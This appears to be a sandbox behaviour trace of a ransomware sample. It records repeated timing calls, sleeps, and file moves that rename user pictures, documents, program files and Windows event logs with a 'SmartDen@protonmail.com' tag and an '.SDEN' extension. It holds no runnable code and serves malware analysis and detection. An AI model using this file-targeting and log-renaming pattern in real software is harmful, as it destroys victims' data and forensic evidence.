System	Get Time	type = Ticks, time = 179187	1	Fn
System	Get Time	type = Performance Ctr, time = 17922476351	1	Fn
System	Get Time	type = Ticks, time = 179187	1	Fn
System	Get Time	type = Performance Ctr, time = 17922485680	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\scan_poster2x.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\[SmartDen@protonmail.com].umnEeAg5-XsXlRaFR.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179203	1	Fn
System	Get Time	type = Performance Ctr, time = 17924972128	1	Fn
System	Get Time	type = Ticks, time = 179203	1	Fn
System	Get Time	type = Performance Ctr, time = 17924987054	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\ftH86.jpg, destination_filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\[SmartDen@protonmail.com].ABRxu2eP-ysVAgEme.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179218	1	Fn
System	Get Time	type = Performance Ctr, time = 17925193357	1	Fn
System	Get Time	type = Ticks, time = 179218	1	Fn
System	Get Time	type = Performance Ctr, time = 17925211243	1	Fn
File	Move	source_filename = C:\588bce7c90097ed212\RGB9RAST_x64.msi, destination_filename = C:\588bce7c90097ed212\[SmartDen@protonmail.com].BVE6TkV2-3aKUGX1I.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179218	1	Fn
System	Get Time	type = Performance Ctr, time = 17925293473	1	Fn
System	Get Time	type = Ticks, time = 179218	1	Fn
System	Get Time	type = Performance Ctr, time = 17925306137	1	Fn
File	Move	source_filename = C:\588bce7c90097ed212\DHtmlHeader.html, destination_filename = C:\588bce7c90097ed212\[SmartDen@protonmail.com].T7KZu8PH-J5dIjDM2.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179218	1	Fn
System	Get Time	type = Performance Ctr, time = 17926631627	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17926656199	1	Fn
File	Move	source_filename = C:\$GetCurrent\SafeOS\SetupComplete.cmd, destination_filename = C:\$GetCurrent\SafeOS\[SmartDen@protonmail.com].4VhI1i3s-G78vowY1.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17926726612	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17926739235	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].X2clptlS-9lnwegin.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17926837807	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17926853506	1	Fn
File	Move	source_filename = C:\Logs\Internet Explorer.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].CkSOVTJZ-4HXpl7rA.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17926925322	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17926938221	1	Fn
File	Move	source_filename = C:\Logs\System.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].ptMs1nsw-dN7yvQex.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17927002712	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17927014893	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-AppReadiness%4Admin.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].bjeixIUG-utEYNO24.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17927083840	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17927097185	1	Fn
File	Move	source_filename = C:\Logs\HardwareEvents.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].DQiocqyk-gJdbalI9.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17927161703	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17927174058	1	Fn
File	Move	source_filename = C:\588bce7c90097ed212\SetupUi.xsd, destination_filename = C:\588bce7c90097ed212\[SmartDen@protonmail.com].agMeH8tF-fqZaB0mb.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17927239032	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17927251758	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\Built-In Building Blocks.dotx, destination_filename = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Document Building Blocks\1033\16\[SmartDen@protonmail.com].WXUWZwfs-WaC9ryob.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17927319691	1	Fn
System	Get Time	type = Ticks, time = 179234	1	Fn
System	Get Time	type = Performance Ctr, time = 17927331480	1	Fn
File	Move	source_filename = C:\588bce7c90097ed212\Setup.exe, destination_filename = C:\588bce7c90097ed212\[SmartDen@protonmail.com].3IGhLaeE-jxR9pjhi.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179421	1	Fn
System	Get Time	type = Performance Ctr, time = 17945364792	1	Fn
System	Get Time	type = Ticks, time = 179421	1	Fn
System	Get Time	type = Performance Ctr, time = 17945376919	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].n1LpM30f-n1tbuuCN.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
System	Get Time	type = Ticks, time = 181656	1	Fn
System	Get Time	type = Performance Ctr, time = 18169367986	1	Fn
System	Get Time	type = Ticks, time = 181656	1	Fn
System	Get Time	type = Performance Ctr, time = 18169380081	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].WzZBA6Qr-L5bvkM4J.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182109	1	Fn
System	Get Time	type = Performance Ctr, time = 18214919719	1	Fn
System	Get Time	type = Ticks, time = 182109	1	Fn
System	Get Time	type = Performance Ctr, time = 18214932309	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].W3cVW1qk-LGzS7qKv.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182109	1	Fn
System	Get Time	type = Performance Ctr, time = 18214990140	1	Fn
System	Get Time	type = Ticks, time = 182109	1	Fn
System	Get Time	type = Performance Ctr, time = 18215031335	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\[SmartDen@protonmail.com].6k2yJkr1-rd3nWzHT.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182109	1	Fn
System	Get Time	type = Performance Ctr, time = 18215088717	1	Fn
System	Get Time	type = Ticks, time = 182109	1	Fn
System	Get Time	type = Performance Ctr, time = 18215098392	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\GRAD8.pdf, destination_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\[SmartDen@protonmail.com].un6XoLPF-spnMCKHq.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182125	1	Fn
System	Get Time	type = Performance Ctr, time = 18215633251	1	Fn
System	Get Time	type = Ticks, time = 182125	1	Fn
System	Get Time	type = Performance Ctr, time = 18215645292	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].bQN395iy-PZTifiQW.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182125	1	Fn
System	Get Time	type = Performance Ctr, time = 18215700813	1	Fn
System	Get Time	type = Ticks, time = 182125	1	Fn
System	Get Time	type = Performance Ctr, time = 18215711262	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\bin\jjs.exe, destination_filename = C:\Program Files\Java\jre1.8.0_144\bin\[SmartDen@protonmail.com].WSFY370N-yvjRnSCo.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182125	1	Fn
System	Get Time	type = Performance Ctr, time = 18216620898	1	Fn
System	Get Time	type = Ticks, time = 182125	1	Fn
System	Get Time	type = Performance Ctr, time = 18216634832	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-HotspotAuth%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].jHBDIGPn-dlxMsbBU.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182125	1	Fn
System	Get Time	type = Performance Ctr, time = 18216690503	1	Fn
System	Get Time	type = Ticks, time = 182125	1	Fn
System	Get Time	type = Performance Ctr, time = 18216701316	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].oZijw1c1-plaaVYbk.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182125	1	Fn
System	Get Time	type = Performance Ctr, time = 18216750078	1	Fn
System	Get Time	type = Ticks, time = 182125	1	Fn
System	Get Time	type = Performance Ctr, time = 18216760254	1	Fn
File	Move	source_filename = C:\Logs\Key Management Service.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].iUKDZj8w-t1pPMfO8.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182125	1	Fn
System	Get Time	type = Performance Ctr, time = 18216807950	1	Fn
System	Get Time	type = Ticks, time = 182125	1	Fn
System	Get Time	type = Performance Ctr, time = 18216838703	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].0Z9a13k5-ZBUHZnIA.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18216887121	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18216897016	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].ZxJ9YrH7-UvmIfOGN.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217222745	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217232987	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].shbL9kqW-PNiq0ThY.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217284725	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217295136	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].nKRRLJ4O-ehYRnVvV.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217344961	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217355174	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\bin\rmiregistry.exe, destination_filename = C:\Program Files\Java\jre1.8.0_144\bin\[SmartDen@protonmail.com].XKjGPAPo-xSF9U63b.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217408653	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217418283	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\optimize_poster.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\[SmartDen@protonmail.com].AlTjri5C-5MKuA1N0.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217494150	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217503747	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-Ntfs%4WHC.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].FJ9lDP3g-mQp5L9wu.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217561653	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217570830	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].rwBW2PEc-HDBnMiM3.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217616550	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217625748	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\calendars.properties, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\[SmartDen@protonmail.com].OUc1BSg1-PFLhvjyv.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217677097	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217686084	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].xf8ZNlVy-I0Htft5Z.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217731721	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217741000	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\scan_poster2x.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\[SmartDen@protonmail.com].dwLeTKpe-AOrwRaR2.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217795528	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217804767	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-SmbClient%4Security.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].oaHKSHXo-n2BoOuBL.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217850187	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217859318	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages.properties, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\[SmartDen@protonmail.com].hg6Il1TV-xq3msfA4.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217912025	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18217921863	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_zh_HK.properties, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\[SmartDen@protonmail.com].Oh6BRdGk-cGyYRkRb.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18218029503	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18218039286	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-Kernel-WHEA%4Errors.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].3wTT2NDK-8B4aQtW2.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18218095729	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18218105345	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-SMBServer%4Connectivity.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].uQ2f8nBT-Bum1Bnxv.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18218152357	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18218162439	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].ppXDlNEs-mJlupcCw.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18218220752	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18218232745	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].2jVtjlzQ-uhzO17uv.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18218297770	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18218309847	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\jaccess.jar, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\[SmartDen@protonmail.com].uFa0gP1X-fY9K8lOB.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182140	1	Fn
System	Get Time	type = Performance Ctr, time = 18218377004	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218438698	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].AnYogu60-Jz3Ho91A.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218515780	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218525570	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].pR1Uw03N-OiiTyIFL.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218574930	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218584992	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\organize_poster2x.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\[SmartDen@protonmail.com].M5QBiThP-V9lPDy4s.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218644457	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218653799	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\YP-X.jpg, destination_filename = C:\Users\FD1HVy\AppData\Roaming\[SmartDen@protonmail.com].3pQlIEi3-X9BSB7HB.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218706778	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218716574	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\p2O0.jpg, destination_filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\[SmartDen@protonmail.com].brN0BkK9-qVg9kUpX.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218775035	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218784650	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-Winlogon%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].P4P21pPX-qI8HjfxN.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218834692	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218844316	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-International%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].MnuBL0gS-apTXyrFR.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218891188	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218900391	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].S7KTlDgU-OPPYxOpN.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218954722	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18218964093	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].MqrIOwvv-E2HDwuvC.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18219012419	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18219022073	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\flavormap.properties, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\[SmartDen@protonmail.com].9ZXCaKcH-dc4MQbQ7.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18219074887	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18219084489	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-Known Folders API Service.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].bG7bkZXK-AwuqxogC.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18219158770	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18219168321	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-SMBServer%4Audit.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].5lYLDUVC-NDk65IH2.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18219218322	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18219227588	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].wRl1cbdj-ixPBBXWC.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18219286070	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18219296157	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\bin\javacpl.cpl, destination_filename = C:\Program Files\Java\jre1.8.0_144\bin\[SmartDen@protonmail.com].uHgg4DPc-u5wR7Ly1.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18219352057	1	Fn
System	Get Time	type = Ticks, time = 182156	1	Fn
System	Get Time	type = Performance Ctr, time = 18219362033	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-LiveId%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].GnYRPmPz-p2ZWIe1I.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
System	Get Time	type = Ticks, time = 183671	1	Fn
System	Get Time	type = Performance Ctr, time = 18370597799	1	Fn
System	Get Time	type = Ticks, time = 183671	1	Fn
System	Get Time	type = Performance Ctr, time = 18370610115	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-TWinUI%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].7KKTE7ji-T1db20yG.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 184593	1	Fn
System	Get Time	type = Performance Ctr, time = 18462778626	1	Fn
System	Get Time	type = Ticks, time = 184593	1	Fn
System	Get Time	type = Performance Ctr, time = 18462791763	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\bin\orbd.exe, destination_filename = C:\Program Files\Java\jre1.8.0_144\bin\[SmartDen@protonmail.com].Rc00jNLu-OVNfYoeo.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 184593	1	Fn
System	Get Time	type = Performance Ctr, time = 18462849820	1	Fn
System	Get Time	type = Ticks, time = 184593	1	Fn
System	Get Time	type = Performance Ctr, time = 18462859367	1	Fn
